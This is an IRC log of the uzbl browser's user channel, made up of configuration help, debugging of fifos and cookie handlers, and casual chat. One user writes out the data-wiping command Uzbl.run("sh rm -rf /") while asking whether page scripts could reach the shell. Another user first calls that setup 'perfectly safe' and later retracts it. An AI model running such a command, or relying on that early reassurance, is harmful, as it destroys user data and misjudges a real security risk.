21:27 < sman> but it's not working
21:31 < ruskie> bind    :Pp        = sh 'exec uzbl --uri $(xclip -o)' <-- you mean this ?
21:31 < ruskie> or this:
21:31 < ruskie> bind    :Pc        = sh 'exec uzbl --uri $(xclip -selection clipboard -o)'
21:32 < ruskie> or this: bind    :pp_       = sh 'echo "uri $(xclip -selection primary -o)" > $4'
21:32 < ruskie> or this: bind    :pc_       = sh 'echo "uri $(xclip -selection clipboard -o)" > $4'
21:32 < sman> I just want to bind p to paste whats in my xclip...
21:32 < sman> I'm not referencing something in the default config or whatever you're pasting
21:33 < ruskie> bind    p       = sh 'echo "uri $(xclip -o)" > $4'
21:33 < ruskie> there you go
21:33 < ruskie> I just pasted you a few options :)
21:35 < sman>  bind    p   = sh 'echo "set uri = $(xclip -o)" > $4'
21:35 < sman> my one doesn't work
21:35 < ruskie> why don't you listen?
21:35 < sman> well... I'm just wondering why set uri = doesn't work :(
21:35 < sman> your one works fine :P
21:36 < sman> theres a couple of iffy commands which I've had to toggle   to and from   uri/set uri =
21:40 < sman> nope, your command doesn't work
21:40 < sman> hrmm
21:41 < sman> I think I must have done   executed   'p   instead of   p   ('p  opens whats in the clipboard in a new uzbl instance, instead of p which is current instance)
21:41 < rob|> sman: did you actually 'set shell_cmd = sh -c' or something alike?
21:41 < sman> but your   p   doesn't work
21:42 < sman> rob|: yes,  it is  sh -c
21:43 < rob|> well, just try from the command line. does it work from there?
21:43 < sman> rob|: yes
21:43 < rob|> strange
21:43 < sman> this much works   echo "set uri = $(xclip -o)"
21:44 < sman> and also   echo "uri $(xclip -o)"
21:45 < sman> in sh
21:45 < rob|> yeah, so it should also work as a binding
21:45 < sman> I thought so too
21:45 < sman> but no luck
21:45 < ruskie> you sure you got the right clipboard selection?
21:46 < rob|> well, he said it works from the shell
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21:47 < rob|> sman: just try:  bind xy = sh 'echo "$4" > /tmp/foo' what does /tmp/foo contain?
21:48 < sman> perhaps it is worth noting that after executing yy (my yanking command which pipes $6 to xclip)  I get this url http://www.google.co.uk/%
21:48 < sman> in my xclip
21:48 < sman> rob|: ok
21:48 < sman> and isn't % a special character in uzbl?
21:48 < rob|> no
21:49 < sman> hmm /tmp/foo seems to be empty
21:50 < rob|> ah, so it does get created but is empty?
21:50 < rob|> did you set a fifo path?
21:50 < sman> yes it gets created
21:51 < sman> fifo dir is /tmp
21:54 < rob|> what does:  uzbctrl -s /path/to/uzbl_socket -c 'print @fifo_dir  @NAME'
21:54 < rob|> give you?
21:54 < rob|> err, uzblctrl
21:56 < sman> rob|:  10485793
21:56 < rob|> well, then fifo_dir is not set
21:56 < sman> hmm
21:57 < sman> set fifo_dir = /tmp
21:57 < sman> set socket_dir = /tmp
21:57 < sman> they are in my ~/.config/uzbl/config
21:58 < rob|> something (a script?) might reset it, obviously it is empty
21:59 < sman> :(
21:59 < sman> don't know
22:00 < rob|> just grep your config for fifo_dir it might be set more than once
22:00 < rob|> or something
22:01 < rob|> oh, and is there a fifo with the name you posted above in /tmp?
22:03 < sman> /tmp/foo?
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22:03 < sman> I'm not sure what you mean
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22:05 < sman> but theres only one uzbl_fifo_nnnnnnnn
22:06 < sman> one interesting bug is that the fifo remains even after I close uzbl
22:07 < sman> maybe it borked?
22:07 < sman> aha! in a second instance of uzbl, my    bind  p   pasting script works
22:08 < sman> I think it's to do with the first instance of uzbl
22:08 < sman> and the persistent fifo
22:09 < sman> if I close all running instances of uzbl, and launch only one, it takes the persistent fifo (which still contains nothing)
22:09 < sman> but if I leave that instance open, and open a second instance, the second instance works
22:11 < rob|> yeah, if uzbl segfaults it won't clear the fifo
22:11 < rob|> i.e. remove it from the fs
22:12 < sman> ok
22:12 < rob|> someone wanted to write a script that removes dead fifos and sockets
22:13 < rob|> if it won't be done in the next couple of days i might write such a beast..
22:13 < sman> heh cool
22:14 < sman> even better, report the dead fifo to stdout and delete it
22:14 < sman> erm... stderr
22:14 < rob|> yeah
22:14 < sman> so you can see what went wrong in xorg output
22:14 < rob|> right, good idea
22:15 < sman> i'm not a programmer, but I wish you luck
22:16 < rob|> not a big thing, although checking wether a fifo is still alive involves some redundant magic..
22:16 < rob|> sockets are easy..
22:16 < DuClare> You could launch uzbl using a wrapper script which removes the fifo after uzbl exits
22:16 < DuClare> Doesn't matter how it exits
22:17 < rob|> yep, another possibility. and even a simpler one..
22:19 < sman> ooh
22:19 < sman> that sounds clever
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22:42 < scj> is there a simple way of setting the (fifo|socket)_dir at startup without having to resort to rewriting the config file?
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22:45 < scj> because one way to avoid the problem of stale fifos is using something like this http://pastie.org/581421
22:53 < N30N_> scj: you chould just do: uzbl -n "$hash"
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23:09 < mason-l> Yeah scj, the easier way is uzbl -n
23:09 < mason-l> Thats how uzbl_tabbed.py names its children.
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23:17 < mason-l> How do you redirect stderr to a pipe?
23:20 < mason-l> scj, http://dpaste.com/81879/
23:20 < mason-l> Ta-da!
23:22 < mason-l> night guys, its 05:20.
23:22 < Cheeseum> could var Uzbl = window.Uzbl; in your loadcommit.js be used to Uzbl.run("sh rm -rf /")
23:23 < mason-l> Cheeseum, Yes, I don't see why not.
23:24 < mason-l> The moral of the story is: never execute un-trusted code.
23:24 < Cheeseum> could then an external javascript from whatever site do the same or am I just being paranoid
23:25 < mason-l> No, never.
23:25 < mason-l> Theres been some discussion about this and as far as I know its perfectly safe.
23:26 < mason-l> anyway, got to go.
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00:39 < N30N_> Cheeseum: make sure you encapsulate your script if you make any Uzbl.run variables
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01:30 < scj> mason-l: calling it perfectly safe is sort of misleading
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06:44 < mason-l> scj, Yeah I admit, I probably got a little excited (probably the lack of sleep talking).
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09:30 < rob|> morning.
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10:55 < Frots> hey there
10:55 < Frots> i've been gone for a month or so
10:55 < Frots> and uzbl looks changed in many ways :p
10:56 < Frots> what happened to the progressbar and so?
10:56 < Frots> or do i have to change my config file
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11:00 < N30N_> Frots: see http://www.uzbl.org/news.php?id=12
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11:01 < Frots> ok thanks N30N_
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12:20 < mason-l> Anyone played with the moinmoin wiki engine?
12:22 < mason-l> http://moinmo.in/
12:23 < mason-l> I'm trying to setup something like a personal wiki for note-keeping.
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12:29 < nubs> mason-l: another good option for an ultra-portable wiki is TiddlyWiki - might want to give it a look
12:31 < holizz> nubs, I'm not sure TiddlyWiki would work with uzbl being that it requires local write-access extensions.
12:32 < mason-l> nubs, Am I correct in assuming its written in Java?
12:32 < holizz> mason-l, "Java" + "Script"
12:33 < nubs> mason-l: no - it's just a html/javascript file - saves to itself
12:33 < mason-l> .. Its just that I saw some .jar and .class extensions in the source repo.
12:33 < nubs> holizz: yeah - I don't know whether it would work with uzbl or not, although it could be made to work, I'm sure
12:34 < mason-l> I think TiddlyWiki is a little too light for me :P
12:35 < nubs> lol
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14:33 < rob|> hmm, re. the geometry thing on the ML. we already have a geometry var, i.e.: set geometry = WxH+X+Y
14:33 < rob|> not extensively tested, though
14:33 < rob|> as i run a tiler, too
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14:34 < holizz> rob|, I thought the problem they had was that new instances weren't opened with the same geometry. But they weren't entirely clear.
14:37 < holizz> But I'm not sure we can access the geometry vars to put them into the new_window handler. A lot of vars can't be accessed through expansion because they're not in uzbl.behaviour. And not all variables have their contents expanded. uzbl's so hacky.
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14:40 < rob|> hmm, not sure what you mean, but the vars don't have to be in .behaviour to be expanded
14:41 < rob|> i.e. all vars in the global table can be expanded
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14:44 < rob|> the only hackish thing w/ regard to expansion is that not all commands use it, yet
14:44 < rob|> i.e. bind, chain, etc.
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14:46 < rob|> age: what's up with your connection, man?
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14:46 < rob|> age: what's up with your connection, man?
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14:46 < holizz> Hmm. I can't get \@[\@geometry]\@ in status_format to expand.
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14:48 < rob|> strange, i was sure i did add a "geometry" var
14:48 < rob|> seems i did either not commit/push or it has been removed?!
14:50 < holizz> rob|, The var exists, I just can't add it to status_format.
14:50 < rob|> can you print it with uzblctrl?
14:52 < rob|> well, i don't see it anywhere in var_name_to_ptr[]
14:52 < holizz> uzblctrl -s /tmp/uzbl_socket_25165856 -c 'print @[@geometry]@' -> blank line
14:53 < holizz> Aha.
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14:55 < rob|> yeah, it just isn't exported
14:56 < rob|> not a big thing, just add a line to var_name_to_ptr[]
14:57 < holizz> So if we fix that, we can tell the person on the list to set new_window = sh "uzbl -g @[@geometry]@ -u $8". Win.
14:59 < rob|> right, @geometry should be enough not need to xml escape it..
15:00 < holizz> Ah right.
15:01 < holizz> I don't know what all the silly bits of syntax do.
15:03 < rob|> well, actually it is quite trivial @var expands var -  @(foo)@ substitutes command foo with its stdout - and @<bar>@ substitutes java script bar with its output
15:03 < rob|> @[bla]@ xml escapes bla
15:03 < rob|> that's all
15:04 < rob|> well, you can also nest uzbl variables inside the substitutions
15:05 < rob|> @(sh -c 'if [ "@uri" = "http://www.uzbl.org" ]; then echo YEP; fi')@
15:05 < holizz> I see.
15:08 < rob|> yeah, it's very similar to the way shells do it
15:08 < rob|> but with some extra goodies
15:09 < rob|> status_format is actually a corner case, also be it the probably most used thing for expansions
15:20 < Dieterbe_> hey guys
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21:25 < mjf> Are the deb http://www.thehappy.de/debian/ uzbl repo for debian/lenny ok to be used?
21:26 < mjf> I gave up to get the webkit compiled on my lenny, I got no time to mess around it's compilation :(
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21:28 < mjf> I would be nice if someone from the uzbl project released some "oficial" debs for libraries needed to let people to pull, compile and play with this nice project easily. :)
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21:31 < MichaelRaskin> mjf, wouldn't there be some conflicts?
21:31 < mjf> MichaelRaskin: that would be OK, I got no knome or libwebkit yet in my system
21:32 < mjf> MichaelRaskin: but I asked because of security, if this repo is known to people here
21:32 < mjf> s/knome/gnome/
21:33 < mjf> Aha, it's listed on the oficial wiki, so it's likely it may be ok..
21:33 < mjf> I will risk it.
21:33 < mjf> ;)
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21:35 < mjf> Oh no, the repo is gone :((
21:35 < mjf> You can erase it from the wiki. :(
21:36 < mjf> Anyone having missing libraries for lenny as debs to share with me?
21:39 < mjf> Perhaps I can mix testing with my stable debian. Will webkit etc. libraries contained in testing debian be good-enough for uzbl?
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22:37 < mjf> So, I got uzbl running. I tried to browse to google.com and how the hell I write into the input box to search something? If I try to write there something, I can not (I see the letters in the bar on the bottom, using the example config file)
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22:40 < mjf> aha, 'i', like in vi, great :)
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23:32 < Dr-Horri2le> Does anyone else have trouble with gmail? The pretty version gives me #500 errors
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23:37 < arik181> nope. no problems.
23:37 < Dr-Horrible> Weird, they come when I am on the page for a while
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00:29 < ybit> what's the name of the firebug-like inspection tool packages with uzbl?
00:33 < N30N_> ybit: it's called WebInspector
00:34 < ybit> thank you N30N_
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06:14 < mason-l> <Dr-Horrible> Weird, they come when I am on the page for a while
06:14 < mason-l> I get the same errors.
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06:29 < bct> hmmm, local html files just display the html as text.
06:29 < bct> even the inspector :(
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06:56 < kibombo> is this the proposed method for using dzen with uzbl? launching dzen, then typing in: uzbl http://en.wikipedia.org
06:57 < kibombo> or whatever page you are wanting to retrieve
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08:23 < mason-l> I was just reminded of the easter-egg in python today. Try python -c 'import this'
08:23 < mason-l> Those are some good words to live by.
08:37 < axedcode> pep20 ftw
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09:45 < scj> bct: it does some content type guessing depending on filename, I think
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09:58 < Dieterbe_> morning all
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10:32 < rob|> morning.
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12:00 < Dr-Horrible> animated gifs are blinking black - images here, is that known? It's annoying...
12:01 < Dr-Horrible> But all animated gifs are off course, but this is worse
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12:08 < scj> Dr-Horrible: I haven't noticed it. can you give me a url to a blinking gif?
12:08 < Dieterbe_> i think someone has reported this before, but not many people could reproduce it. IIRC he fixed it with a newer webkit version
12:14 < Dr-Horrible> i use libwebkit 1.1.10-2 from arch/extra
12:15 < Dr-Horrible> scj: http://en.wikipedia.org/wiki/File:Gospers_glider_gun.gif
12:19 < scj> Dr-Horrible: doesn't blink for me. so yeah, I think a new webkit version will fix it
12:19 < Dr-Horrible> Which one do you use, 1.12?
12:21 < scj> Dr-Horrible: 1.1.11 according to pkg-config. it's built from the r46091 nightly
12:24 < scj> #uzbl will be 4 months old in three hours
12:25 < scj> err, 2h
12:37 < Dieterbe_> hooraay
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12:53 < Dr-Horrible> pff webkit is a long compile
12:54 < scj> tell me about it :(
12:54 < scj> my computer is old and slow
12:55 < Dr-Horrible> Too bad gcc isn't multithreaded, now i use only one core of the four
13:04 < Dr-Horrible> It's fixed \0/
13:05 < Dr-Horrible> w00t i can even go to google calendar
13:05 < Dieterbe_> ;)
13:05  * Dr-Horrible does a happy dance!
13:49 < jusa_> Dr-Horrible: make -j5 helps a lot..
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14:02 < bjesus> anyone managed to download attachment from gmail using uzbl?
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14:02 < Dieterbe_> afaik the trick is to let wget use the cookie that uzbl has
14:03 < Dieterbe_> i think someone posted the patch/script on the ML/wiki
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14:04 < bjesus> that's what i thought, so i switched to cookie-enabled download script and it still doesn't work. i'll search the ML, thanks.
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16:05 < sman_> hey
16:05 < Dieterbe_> hi
16:06 < Dr-Horrible> hello
16:33 < alip> who are you people?
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16:34 -!- Irssi: #uzbl: Total of 74 nicks [0 ops, 0 halfops, 0 voices, 74 normal]
16:39 < arik181> judging from the channel name, I'd suggest that these are "people who like uzbl", if I had to hazzard a guess.
16:39 < arik181> I know I certainly fall into that category.
16:40 < Dieterbe_> alip: i'm your father
16:40 < alip> omg
16:41 < scj> alip: I am your arch nemesis
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16:48 < fumbles> lulz
16:48  * fumbles 's arch nemesis is 'the World'
16:49 < fumbles> rm s
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17:04 < mason-l> Does archlinux have codename releases?
17:05 < mason-l> Because I think nemesis would make an awesome release codename for arch linux.
17:05 < Dieterbe_> nah we stopped using codenames
17:06 < Dieterbe_> because implementing them decently would have been too much work (putting the release name in various places on the release images etc) and would only confuse people (rolling releases)
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17:20 < mason-l> Dieterbe_, Thats fair enough.
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17:35 < bjesus> hey, is there a way to bind ctrl+somekey in uzbl? when i click it in uzbl i get odd numbers in the statusbar..
17:36 < scj> someone should make a wiki page about that
17:38 < bjesus> i'll be glad to do so after i'll figure it out :p
17:39 < scj> bjesus: you can use actual control characters in your config. do you use vim?
17:39 < scj> some control characters*
17:39 < bjesus> yes, i use vim
17:40 < bjesus> but i don't know what control characters are...
17:42 < scj> in insert mode, you type CTRL-V followed by the character you want mapped. so to bind ^f to something, you type CTRL-V CTRL-F
17:42 < scj> :help i_ctrl-v
17:42 < scj> this is just a hack and some combinations won't work
17:44 < bjesus> well it works for ctrl+w for exiting, so thanks :) i'll try to figure out the control characters thing and put it into the wiki.
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18:00 < aep> any idea how i could get imidiate insert mode on startup?
18:00 < aep> i tryed just adding toggle_insert_mode into the config, but it goes back to command mode
18:00 < aep> i'd like it to open with the google search field focused and ready to insert
18:01 < Dieterbe_> set insert_mode = 1 ?
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18:03 < aep> same
18:03 < aep> jumps back as soon as page is loaded
18:08 < aep> also i want insert mode as soon as i click a field, is that possible?
18:09 < Dr-Horrible> if you set reset_command_mode to 0 it won't reset to command mode each time a page is loaded
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18:10 < N30N_> Dieterbe_: I just noticed JavaScript's navigator.userAgent != Uzbl.run("print @useragent")
18:10 < Dieterbe_> hmmmz
18:10 < Dieterbe_> please elaborate
18:10 < aep> Dr-Horrible: nope it still does :(
18:11 < Dr-Horrible> Then i'm clueless, that should work, if you to insert mode and you reload the page, is it still in insert mode?
18:12 < N30N_> Dieterbe_: it's set to the default, see for yourself.. js alert(navigator.userAgent);
18:12 < aep> Dr-Horrible: how do i reload without command mode? :D
18:13 < Dr-Horrible> aep: Youre right, try clicking on something
18:13 < aep> yup, goes back
18:13 < aep> "reset_command_mode = 0"  is correct, is it?
18:13 < aep> oh i forgot set
18:14 < aep> works! thanks
18:14 < Dr-Horrible> typing errors suck
18:14 < Dr-Horrible> your welcome
18:14 < Dr-Horrible> If someone can tell me how I can delete a line from a file in python I am happy as well:P
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19:55 < peter__> hey
19:55 < Dr-Horrible> hey
19:56 < peter__> Is gmail broken for everyone?
19:56 < peter__> Or am I using a old release
19:56 < bjesus> yeah... :(
19:56 < bjesus> i'm using it in the html mode
19:56 < peter__> oh thats a good idea
19:56 < Dr-Horrible> What is broken? Does it crash?
19:56 < peter__> I have no idea why I wasn't
19:56 < peter__> No it just doesn't update
19:57 < bjesus> i doesn't crash, but usually i can't even send a message
19:57 < Dr-Horrible> yeah, broken here to... The #500 error?
19:57 < peter__> damn I wish that keyboard short cuts worked on html mode
19:57 < bjesus> dude 500 is a server error, shouldn't be related to uzbl i think
19:58 < peter__> what scripts do yall value the most
19:58 < peter__> for your uzbl install
19:58 < bjesus> favicon!
19:58 < peter__> I just got favicon working, but thats more eyecandy
19:58 < peter__> which is really fucking nice
19:58 < peter__> I didn't expect to enjoy it as much as I am
20:00 < bjesus> yeah, when using awesome it's much easier to see what websites you have open by looking at their favicons
20:00 < peter__> yeah I am using awesome
20:00 < peter__> I was actually just working on my awesome/wicked config
20:00 < peter__> sitting in computer science class
20:01 < peter__> they are actually telling us about ls and cat
20:01 < Dr-Horrible> In the middle of the summer?
20:01 < peter__> I am completely blocking them out
20:01 < peter__> classes start early where I am
20:01 < Dr-Horrible> Btw, where is that favicon displayed, as window icon?
20:01 < bjesus> yup
20:02 < peter__> yeah
20:02 < Dr-Horrible> then its no use for me in xmonad:P
20:02 < Dr-Horrible> I do like the undo script
20:02 < Dr-Horrible> And I cant live without keyword bookmarks
20:06 < bjesus> what are the keyword bookmarks? just key binding to different websites?
20:06 < peter__> that would be amazingly easy to do in uzbl
20:07 < Dr-Horrible> yeah but instead of editing the config file I put it with the bookmarks, where it belongs imo
20:07 < peter__> does that not work?
20:08 < Dr-Horrible> what do you mean
20:08 < peter__> I haven't done too much handconfiguring on uzbl, but I am pretty sure you could hack together a solution with an external script
20:08 < Dr-Horrible> I did :D
20:08 < Dr-Horrible> Kept me busy:P
20:09 < scj> a dmenu-vertical type thing for displaying/focusing running instances of uzbl (with favicons) would be nice
20:09 < Dr-Horrible> does dmenu do favicons?
20:10 < scj> no
20:10 < Dr-Horrible> haha
20:10 < peter__> I use awesome, is dmenu really that great?
20:10 < Dr-Horrible> it is nice
20:10 < peter__> also if you have the favicon.py all you would need is the icon from the window
20:10 < peter__> I still have a lot of stuff to learn and configure
20:10 < scj> favicon.py?
20:10 < peter__> rm and rmdir are on the board right now
20:11 < peter__> favicon.py put the current favicon as the window's icon
20:11 < Dr-Horrible> rmdir sucks, rm -r ftw
20:11 < peter__> no joke
20:11 < peter__> rm -rf if you are a real man
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20:12 < Dr-Horrible> i start with rm -r and if its complaining I add a f :P
20:12 < peter__> yeah I was joking
20:12 < Dr-Horrible> I know, but most of the time I know whats in a dir so a -f is safe
20:16 < N30N_> ls
20:16 < N30N_> oops :)
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20:22 < bjesus> N30N@localhost % Desktop documents downloads music porn
20:22 < Dr-Horrible> pff, your computer is slow N30N_
20:22 < Dr-Horrible> ls takes 6 minutes!
20:22 < bjesus> probably because of all that porn
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20:32 < N30N_> Dr-Horrible: :)
20:33 < N30N_> su -c "mv porn .tmp && chown root:root .tmp && chmod o-r .tmp"
20:33 < N30N_> oops :p
20:34 < Dr-Horrible> haha
20:34 < Dr-Horrible> sharing is caring :(
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21:53 < aep> hm can i get a loading indicator somewhere? i never know if uzb l is stuck or loading
21:55 < Dieterbe_> yeah sure. in fact we have 2 different ones in the sample config
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21:56 < Deepspawn> Dieterbe_, Oh they are considered separate? I think those were complementary
21:57 < Dr-Horrible> Are there any for the title?
21:57 < Dieterbe_> mason-l rob| cool, you guys pulled the cookie daemon into experimental.  what should i know about it? what's the current state?
21:57 < Dieterbe_> Deepspawn: semantics. whatever :)
21:58 < jrick> Dieterbe_: I'm not sure if you saw the bug, but the current master branch is unbuildable on FreeBSD (at least 8-CURRENT, haven't tried 7)
21:59 < Dieterbe_> hmm it has been a while since i checked the bugtracker
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22:17 < Dr-Horrible> can you chain more than three commands?
22:18 < scj> you should, afaik
22:20 < Dr-Horrible> mm
22:21 < Dr-Horrible> when i do it dies
22:21 < scj> are you referring to %s twice?
22:22 < Dr-Horrible> i try to get three commands executed by the load commit handler
22:22 < Dr-Horrible> *am trying
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22:34 < mjf> Hello. There is nice function at http://www.uzbl.org/wiki/dark_input
22:35 < mjf> I would like to know how to apply it to one specific site only.
22:35 < mjf> I need to force custom style for one or two pages (really need, as I am used to in conkeror).
22:36 < mjf> I think uzbl is perfect browser and I tuned it to suit all my needs except this one.
22:36 < mjf> Thanks for your ideas. :)
22:37  * mjf is new uzbl fan :)
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22:39 < scj> mjf: change it so load_commit_handler runs a script that runs the script depending on the url
22:39 < mjf> scj: is there some example I can use to derive this from ?
22:41 < mjf> scj: that seems I could easily make a script that will lookup, say, www.google.com.css in some directory and if present it will call another script that will force that css for the www.google.com? That would be way I would really like it to be. But manual configuring would be good-enough for me too atm, while I really need it for 2 pages only.
22:43 < mjf> scj: I just need some example or existing script that is doing something like that in load_commit_handler to see what to parse/check and how to call the second script from it (not sure, because the second one is in JS, how to "call" that from outside?)
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22:44 < rob|> mjf: well, i guess the easiest way is to add that check to dark_input
22:44 < rob|> i.e. extend the java script to check for the url and only apply if it matches
22:46 < mjf> rob|: I do not know JS at all, I always used just generated XHTML static pages with no JS in it. Could you tell me the name of the element to check? the syntax of JS look fine to understand but I do not know "what" to check. ;)
22:47 < mjf> rob|: or at least tell me where to find out this information (it means, "what is the name of xxx")
22:48 < rob|> you can either query uzbl for the uri or use document.url (iirc)
22:48 < mjf> document.url :)
22:48 < mjf> thanks.
22:48 < mjf> Where to find those things if I next time need something like that?
22:48 < mjf> Is it documented somewhere? Where? :-)
22:49 < scj> good js documentation is surprisingly hard to find
22:49 < rob|> it's 'document.URL' btw.
22:50 < rob|> mjf: oh, you can easily test such things with: uzblctrl -s /path/to/socket -c 'print @<document.URL>@'
22:51 < rob|> also selfhtml has a quite complete JS reference
22:52 < mjf> Thanks.
22:52 < mjf> Bye.
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23:05 < rob|> hmm, the wiki would need some restructuring
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23:12 < Dr-Horrible> How does it need to be restructured
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00:19 < uzblbot> Dr-Horrible: Error: "topic" is not a valid command.
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02:08 < troubador> Hey folks. What's the syntax for binding the spacebar in the config file?
02:08 < troubador> I'm trying to get it to page down (like the PageDown key does by default).
02:13 < N30N_> troubador: You cant curently bind space (not unless you use a script to work around this limitation)
02:15 < troubador> N30N_: Rats. Well, at least I won't keep trying.
02:15 < troubador> Thanks for letting me know.
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02:53 < laynor> hi, just a simple question, does the flash plugin work in uzbl?
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06:45 < scj> laynor: yes
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17:14 < lysgaard> I was wondering. On firefox. If you just enter a random subject in the address bar. Sometimes it gives a google search, but if the query is quite specific, it leads you to a single page, alot like the "I'm feeling lucky" button. How is this behavior made, and could we copy it for uzbl=
17:14 < lysgaard> s/=/?/
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17:35 < mason-l> lysgaard, I've done that myself..
17:35 < mason-l> Give me a moment I'll dig it up
17:38 < Dieterbe_> mason-l++
17:38 < mason-l> bind G _ = uri http://www.google.com.au/search?btnI=I'm+Feeling+Lucky&q=%s
17:38 < mason-l> ^^ Its all there, and it works well.
17:38 < mason-l> Hey Dieterbe_
17:39 < mason-l> Dieterbe_, You were chasing a summary of the cookie_daemon.py functions was that correct?
17:39 < lysgaard> mason-l: Yeah, i discovered so digging the wiki =) Nice hack
17:39 < Dieterbe_> would be nice to have a script that first checks if there is a matching bookmark, and only if not does the google feeling lucky one
17:39 < mason-l> (this was a few days ago right?)
17:40 < Dieterbe_> mason-l: what do you mean?
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17:40 < mason-l> "<Dieterbe_> mason-l rob| cool, you guys pulled the cookie daemon into experimental.  what should i know about it? what's the current state?"
17:42 < Dieterbe_> mason-l: yeah, but i didn't mean a summary of it's functions, more like a higher level overview
17:42 < Dieterbe_> but i posted to the ML and you replied, and i still need to process your reply
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17:44 < mason-l> Ah yes. In that reply I linked directly to http://www.uzbl.org/wiki/cookie_daemon.py which goes through some sample configuration settings, writing your uzbl wrapper that auto-launches the daemon, running multiple daemons at once, etc.
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17:45 < Dieterbe_> actually your wrapper script was pretty much what i was referring to
17:46 < mason-l> Great then :)
17:47 < Dieterbe_> but it would be nice to not need a wrapper script and let uzbl handle it.  IIRC that was the consensus
17:48 < mason-l> Its a hard problem to solve.
17:49 < Dieterbe_> why? the handler arguments refactoring?
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17:58 < mason-l> Well it probably warrants a larger discussion (I need to be off now) but what use does the talk_to_socket command have outside of handling getting/putting cookies? If cookie fetching/putting is the only required use of talk_to_socket function then it may as well be replaced with 'set cookie_handler_socket = <location/of/socket>' then you use that with 'set cookie_handler = <script/to/launch>'
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18:01 < bct> it has no other use right now, but there are other uses that it could have.
18:01 < mason-l> bct, I've been hard pressed to think of any.
18:02 < mason-l> At least bi-directional communication.
18:02 < mason-l> If you only need to communicate one way to a socket you would just use a fifo socket.
18:02 < Dieterbe_> what bct said. + why would you do it the way you ( mason-l ) just suggested? the current way is more generic/usable for potential future use
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18:04 < mason-l> Its just I am having a difficult time of thinking of any use of the talk_to_socket command outside of cookie handling. Cookie handling really is (and its obvious) a unique case.
18:06 < bct> i can't think of anything else that's inherently bidirectional (except modifying requests and responses as they go out/come in, which is just generalized cookie handling)
18:07 < bct> but if we're using it for event notifications, some external scripts are going to want to write commands back to uzbl too
18:07 < Dieterbe_> mason-l: so? we may not need it for more then 1 thing. but we really do need it for 1 thing
18:07 < Dieterbe_> mason-l: i don't get the problem. we need it for 1 thing so it's good we have it and it should stay . what more can we say? ;)
18:08 < bct> i don't recall - was doing cookie handling in a proxy ever discussed?
18:08 < mason-l> bct, But exactly as you say, they are writing commands back to uzbl (which could be done via fifo) because the data that is returned currently is raw cookie data, not commands at all.
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18:09 < bct> mason-l, yeah. it doesn't need to return raw cookie data though.
18:09 < Dieterbe_> bct: yeah it was. but not in depth. either way it would need to very customizable (whitelist/blacklist/custom logic etc) and i don't think there are KISS proxy servers which you can "plug into"
18:10 < bct> we could write a proxy and include it with uzbl (the same way we wrote a cookie handler)
18:10 < mason-l> bct, But the we need to pass other options to the talk_to_socket to specify what data is being returned (i.e. raw, command list, etc..)
18:10 < mason-l> Using a daemon/script for modifying requests and responses as they go out/come in would be interesting.
18:10 < mason-l> So yes, that qualifies as another valid potential use for talk_to_socket
18:11 < bct> mason-l, if we generalized it we wouldn't be passing "raw" data.
18:11 < mason-l> Anyway it was just my thoughts on the matter. I've got to head to sleep.
18:11 < mason-l> Night guys.
18:11 < bct> (and honestly, "modifying request and responses" sounds like a proxy's job to me)
18:14 < mason-l> Dieterbe_, Oh and I love Dream Theater also and have been listening to them for over 7 years, what a coincidence :)
18:15 < mason-l> Deam Theater was the band that got me into prog rock.
18:15 < mason-l> I mostly only listen to them these days for nostalgic reasons though.
18:15 < mason-l> Favorite album: Images and Words (1992)
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18:18 < Dieterbe_> mason-l: great to hear that.  my favorite albums are the "classically inspired" ones: six degrees of inner turbulence and octavarium. to me, those albums are pretty much what "music" is all about
18:19 < Dieterbe_> bct: using a proxy for cookies doesn't seem like a bad idea. maybe we could make very lightweight "chainable" proxies that perform various changes
18:19 < Dieterbe_> bct: but i wonder if we aren't forgetting something.  maybe you should start a discussion on the ML
18:21 < bct> ok, i will do so.
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20:29 < Dieterbe_> DuClare: where's your screenshot using xmonad with uzbl?
20:29 < Dieterbe_> the one i really like
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21:07 < DuClare> Dieterbe_: This, maybe? http://guu.fi/shots/0006.png
21:08 < Dieterbe_> well actually i meant another one. (one with a bit less stuff on it)
21:09 < Dieterbe_> but this will do thanks
21:09 < Dieterbe_> you should put one of your screenies on our wiki
21:09 < Dieterbe_> not should as in "i demand"
21:09 < DuClare> Yeah.  I should also finish the code I should've finished ages ago :)
21:09 < Dieterbe_>  but should as in "maybe you want to do some people a favor" ;)
21:09 < DuClare> Life feels way too busy even though I'm supposedly on a holiday. :)
21:10 < Dieterbe_> oh right. you have a few months off
21:10 < Dieterbe_> how is it going?
21:10 < DuClare> Feeling somewhat exhausted, but nothing worse than that
21:11 < DuClare> Been busy with software, self-study, some travel
21:11 < Dieterbe_> yeah. vacations are nice times to learn new things
21:11 < DuClare> I've tried to step outside too, every few days .. :x
21:17 < Dieterbe_> which code finishing are you talking about ? the handler argument stuff?
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21:18 < DuClare> That we need to discuss with rob|.. it's not so much about handler argument as it is about merging rob's variable expansion stuff with my quotation stuff and making these globally usable.  Then we just scratch away the handler args
21:18 < DuClare> But the thing people seem to want a lot is keybindings :)
21:20 < Dieterbe_> i see
21:21 < DuClare> Then.. there's something I'd like to try but not sure how to go about doing it
21:21 < DuClare> JS dialogs like to steal focus
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21:21 < DuClare> Once, vimperator had a "feature" which made it possible to simply type vimperator commands even if an infinite loop was pushing dialogs at your face
21:22 < DuClare> But it went away with a later version
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21:53 < mjf> Hello.
21:56 < mjf> I have a problem with cookies. I must work with website that needs authorisation to work with and it uses popup windows quite extensively. Because uzbl opens those popup window in new instance of the program it simply can not work. How to workaround, please?
21:56 < bct> mjf, if you're using a cookie handler it should work.
21:57 < mjf> bct: Can you point me to some documentation of it, please? I saw some cookie daemon in python, is that the thing?
21:58 < mjf> There is
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21:59 < bct> yes, that works.
21:59 < bct> look at the example configuration.
22:00 < mjf> hell, how do I copy/paste from uzbl? I selected a line with a tripple-click and shift-ins in my xterm does not work (still pasting some my previous copy/paste from terminal to terminal)
22:01 < mjf> I also tried to select text by holding button and moving with the same result
22:01 < mjf> I guess I need to set something to make copy/paste work as expected.
22:02 < N30N> mjf: works fine by default for me
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22:03 < mjf> N30N: not for me, does it work for you that you just select and you have it in the buffer and shift-ins in xterm pastes it there?
22:03 < mjf> N30N: also xsel -o does not print the correct data
22:04 < mjf> bct: I have found in some example configuration this - set cookie_handler = spawn /home/deepspawn/.config/uzbl/cookies.py
22:04 < mjf> bct: Is that the cookie handler script that works?
22:04 < bct> yes, that should work.
22:04 < bct> there is also a cookie daemon included with uzbl that is faster
22:05 < bct> but i don't remember the syntax for using that, maybe someone else does
22:05 < mjf> bct: I got in my config - set cookie_handler   = spawn $XDG_DATA_HOME/uzbl/scripts/cookies.py
